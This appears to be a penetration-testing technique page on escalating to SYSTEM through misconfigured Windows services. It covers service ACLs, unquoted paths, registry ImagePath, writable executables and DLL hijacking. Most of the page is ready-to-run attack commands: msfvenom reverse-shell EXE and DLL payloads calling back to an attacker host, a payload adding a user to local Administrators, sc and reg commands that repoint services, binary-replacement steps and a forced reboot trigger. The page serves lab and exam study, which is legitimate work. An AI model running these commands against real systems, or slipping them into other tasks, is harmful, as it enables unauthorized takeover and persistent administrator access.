Techniques / Privilege Escalation (Windows)
Windows Service Exploits
Windows services run in the background, often as SYSTEM. A service is defined by an executable path, a registry entry, and an ACL. When any of those is misconfigured so a low-privilege user can influence what the service runs, the service can be made to run an attacker binary as SYSTEM. This is different from Service Exploits on Linux, which attacks a vulnerable service process; here the target is the service configuration, not a bug in the program. It sits in the middle of the Privilege Escalation (Windows) triage list.
There are five recurring misconfigurations:
- Insecure service permissions
- Unquoted service path
- Weak registry permissions
- Insecure service executable
- DLL hijacking
Enumerate and Confirm
winPEAS hunts for all five:
winPEASany.exe quiet servicesinfo
Query a specific service and confirm access with accesschk before acting:
sc.exe qc <name> :: configuration (binary path, start type, run-as account)
sc.exe query <name> :: current running state
sc.exe config <name> <option>= <value> :: change a setting (note the space after =)
net start <name>
net stop <name>
Every method below needs the ability to start or restart the service to trigger the payload. A service that can be reconfigured but not restarted is a rabbit hole. Confirm stop/start rights first:
accesschk.exe -accepteula -uvqc <user> <name>
Low-priv shells often cannot open the Service Control Manager at all (OpenService FAILED, Get-Service → “might require other privileges”). That is normal and not a wrong service name. Find the real name without SCM, then decide if a restart path exists:
:: running binary (confirms Apache/MySQL is up)
tasklist /fi "imagename eq httpd.exe"
tasklist /fi "imagename eq mysqld.exe"
:: service name from the registry (often readable when sc is not)
reg query HKLM\SYSTEM\CurrentControlSet\Services /s /f "httpd.exe"
reg query HKLM\SYSTEM\CurrentControlSet\Services /s /f "xampp"
reg query HKLM\SYSTEM\CurrentControlSet\Services /s /f "mysqld.exe"
The key name under Services is what sc wants (e.g. ApacheServer, Apache2.4, MySQL). If sc stop/start and net stop/start all fail with access denied (OpenService FAILED 5), the binary can still be replaced but will not load until something restarts the service. Killing a SYSTEM httpd.exe from a low-priv shell usually fails too.
A reboot fires the plant when the service is Autoload (Start = 2 under the service key) and the foothold can genuinely reboot. The full trigger order (stop/start, reboot from a local interactive logon, or park the plant), why a reboot spawned from evil-winrm still returns Access is denied.(5), and the copy-in-place caveat for evil-winrm (Windows Remote Access) are covered in Windows Token Privileges.
Payload
Two payload shapes, chosen by what the escalation needs to leave behind.
Reverse shell: interactive SYSTEM session, but it needs a reachable listener at the exact moment the service fires:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=KALI LPORT=443 -f exe -o reverse.exe
Group add: one command as SYSTEM and no callback at all:
msfvenom -p windows/x64/exec CMD='net localgroup administrators <user> /add' -f exe -o addadmin.exe
The group-add shape wins whenever the callback path is awkward (the target sits behind a pivot, so the listener chain must be pre-staged and a boot-time fire is a one-shot miss) or when a missed catch would mean re-planting. The privilege it grants is durable: once the user is in the local Administrators group, evil-winrm, psexec, lsassy, and C$ all work immediately with plain password auth, and the SYSTEM shell stays available on demand through psexec. Backup and restore still apply, and msfvenom exes are heavily AV-signatured: if the plant is quarantined on write, a custom-compiled system("net localgroup ...") binary survives where the signature does not (Reverse Shells).
1. Insecure Service Permissions
If the service ACL grants SERVICE_CHANGE_CONFIG (or SERVICE_ALL_ACCESS), the binary path can be repointed at the payload. Confirm write access to the service:
accesschk.exe -accepteula -uwcqv <user> <name>
Repoint the binary and restart. The nested quoting keeps the path intact when it contains spaces:
sc config <name> binpath= "\"C:\Temp\reverse.exe\""
net stop <name> & net start <name>
2. Unquoted Service Path
An unquoted binary path containing spaces is ambiguous. For:
C:\Program Files\Some Dir\SomeProgram.exe
Windows tries C:\Program.exe, then C:\Program Files\Some.exe, then the real target, in order. Writing an executable to an earlier candidate hijacks the service. Confirm the unquoted path, then find a directory in the path that is writable:
sc qc <name>
accesschk.exe -accepteula -uwdq "C:\Program Files\Some Dir\"
Drop the payload named for the first space-terminated candidate and restart:
copy C:\Temp\reverse.exe "C:\Program Files\Some Dir\Some.exe"
net start <name>
3. Weak Registry Permissions
Each service has a registry key under HKLM\SYSTEM\CurrentControlSet\Services\. If its ACL is weak, ImagePath can be rewritten even when the service itself cannot be reconfigured. Confirm write access:
accesschk.exe -accepteula -uvwqk HKLM\System\CurrentControlSet\Services\<name>
powershell -c "Get-Acl HKLM:\System\CurrentControlSet\Services\<name> | Format-List"
Overwrite ImagePath and restart:
reg add HKLM\SYSTEM\CurrentControlSet\services\<name> /v ImagePath /t REG_EXPAND_SZ /d C:\Temp\reverse.exe /f
net start <name>
4. Insecure Service Executable
If the service’s own executable is writable, replace it. Back up the original first (a real system depends on it). Confirm with icacls (built-in) or accesschk:
icacls "C:\Program Files\Some Service\service.exe"
accesschk.exe -accepteula -quvw "C:\Program Files\Some Service\service.exe"
copy "C:\Program Files\Some Service\service.exe" C:\Temp\service.exe.bak
copy /Y C:\Temp\reverse.exe "C:\Program Files\Some Service\service.exe"
net stop <name> & net start <name>
winPEAS “File Permissions: Authenticated Users [Allow: WriteData/CreateFiles]” on the folder is not the same as a writable exe. Check the file itself; dir-only write is the DLL case below.
5. DLL Hijacking
A service that loads a DLL runs that code at the service’s privilege. Two cases:
- Writable existing DLL the service already loads from a path the foothold can overwrite.
- Missing DLL looked up in a writable directory (often the service’s own
bin). winPEAS labels thisPossible DLL Hijacking in binary folderwhenAuthenticated Users(or similar) haveWriteData/CreateFileson that folder. Common on XAMPP:C:\xampp\apache\bin,C:\xampp\mysql\bin.
Confirm folder-write vs file-write with icacls (dir-only write stays the DLL case; a writable exe is §4):
icacls C:\xampp\apache\bin
icacls C:\xampp\apache\bin\httpd.exe
- Exe
(M)/(F)/(W)for a group the current user belongs to → simpler path is §4 (replace the binary). Back it up first. - Dir writable, exe not → stay on DLL hijack. Drop a new name or overwrite a writable
.dllin that folder.
Pick a DLL name
Without admin Procmon on the exam box, prefer overwriting a DLL that is already in the bin and writable:
dir C:\xampp\apache\bin\*.dll
icacls C:\xampp\apache\bin\libapr-1.dll
:: spot-check a few non-Microsoft names; (M)/(W)/(F) = replaceable
If nothing existing is writable, plant a missing dependency name in the same folder (Windows searches the exe directory early). Finding the exact missing name without Procmon is guesswork; on a lab VM with admin, Procmon filtered on httpd.exe + NAME NOT FOUND is definitive. Prefer a name that is not already present so the drop does not fight a locked file.
Payload and plant
Architecture must match the service (Win64 Apache → x64 DLL):
msfvenom -p windows/x64/shell_reverse_tcp LHOST=KALI LPORT=443 -f dll -o hijack.dll
Upload (evil-winrm upload or File Transfers), then copy onto the hijack path:
copy /Y C:\temp\hijack.dll C:\xampp\apache\bin\<name>.dll
Trigger
Needs a service restart so the process reloads DLLs. Try net stop/start first; low-priv often cannot open SCM (OpenService FAILED 5). If the service is Autoload and the foothold can reboot, that reloads it as the service account (trigger order and why an evil-winrm reboot fails: Windows Token Privileges):
:: confirm Autoload; find the key name via: reg query HKLM\SYSTEM\CurrentControlSet\Services /s /f "httpd.exe"
reg query HKLM\SYSTEM\CurrentControlSet\Services\ApacheServer /v Start
shutdown /r /t 0 /f :: listener already up on Kali
If Apache fails to start after a bad plant, delete the planted DLL (directory write usually allows delete of files the same account created) and reboot again, or restore a backup if an existing DLL was overwritten.
Checklist
winPEASany.exe quiet servicesinfoto surface all five, then confirm paths with icacls, services/registry with accesschk, and config withsc qc.- Confirm stop/start rights before investing in any of them.
- Match payload architecture to the service; back up any binary before overwriting it.
- If the service runs as a service account rather than SYSTEM, check
whoami /privin the resulting shell and pivot to Windows Token Privileges.